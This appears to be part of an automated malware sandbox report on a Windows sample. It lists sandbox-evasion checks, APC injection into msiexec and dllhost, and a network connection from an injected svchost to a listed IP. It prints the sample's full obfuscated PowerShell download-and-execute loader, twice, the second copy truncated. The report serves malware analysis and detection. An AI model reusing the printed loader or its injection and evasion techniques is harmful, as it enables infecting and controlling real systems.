Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT caption, serialnumber FROM Win32_DiskDrive

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFB2CECD044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFB2CECD044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 57FB83A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5136	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4737	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5513	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4203	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1964	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

Code function: 14_3_00007DF452620B80 FindFirstFileW,DeleteFileW,FindNextFileW,RemoveDirectoryW,

14_3_00007DF452620B80

Source: C:\Windows\System32\svchost.exe

Code function: 14_3_00007DF45268D66C GetSystemInfo,

14_3_00007DF45268D66C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior

Source: msiexec.exe, 00000009.00000003.1940138340.0000000000649000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.1959171271.0000000000649000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: svchost.exe, 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: msiexec.exe, 00000009.00000003.1940138340.0000000000649000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.1959171271.0000000000649000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000016.00000002.2627173670.000001E53186C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.1563606959.0000021DEFE19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI
Source: svchost.exe, 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_04C8D6E0 LdrInitializeThunk,LdrInitializeThunk,

7_2_04C8D6E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 13_3_02D30283 mov eax, dword ptr fs:[00000030h]

13_3_02D30283

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe

Network Connect: 45.149.241.141 2023

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7696.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8060, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Program Files\Windows Media Player\wmplayer.exe

Memory allocated: C:\Windows\System32\dllhost.exe base: 1E5317D0000 protect: page read and write

Encrypted powershell cmdline option found

Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded q"x8w^gI@JByWEXJ"hQ>i
Source: unknown	Process created: Base64 decoded q"x8w^gI@JByWEXJ"hQ>i
Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded q"x8w^gI@JByWEXJ"hQ>i	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3BB0000	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1E5317D0000
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 7FF7D87314E0

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$kollationernendkaldebefjelses='elefantridderne';;$flumed='rundingernes';;$metropoler='larceners';;$provisionsindtgters='drivremmen';;$smedejernslaage=$host.name;function elevtimens($ballongynges){if ($smedejernslaage) {$firspandets79=2} for ($kollationerne=$firspandets79;;$kollationerne+=3){if(!$ballongynges[$kollationerne]) { break };$bibliofil+=$ballongynges[$kollationerne];$squibbery='jogurternes'}$bibliofil}function fortynderes($thuds){ .($nongame) ($thuds)}$fangled=elevtimens 'ton repltsi.dew';$fangled+=elevtimens 's e.ubc,c olr.i hestns t';$gasted=elevtimens 's.manobazobip l lahame/';$dealation=elevtimens 'cotvalslsej1pl2';$hiwire='st[lunf,e.dtl . scee sr iv,liroc .ehyp .o ,iunnrytfrm.ia n maudg oemir l]va:ch:ras te tc su r aiprt ymipspr foint poaacn,orklna= ,$ vdbeeaga.ul zaintfli.po an';$gasted+=elevtimens 'an5 t.co0 a(fuwwiigen kdbao ,wkosho manretu t1fe0he.da0 i;o trw eihenu 6 4j ;fa ,mxsn6 o4fi;b 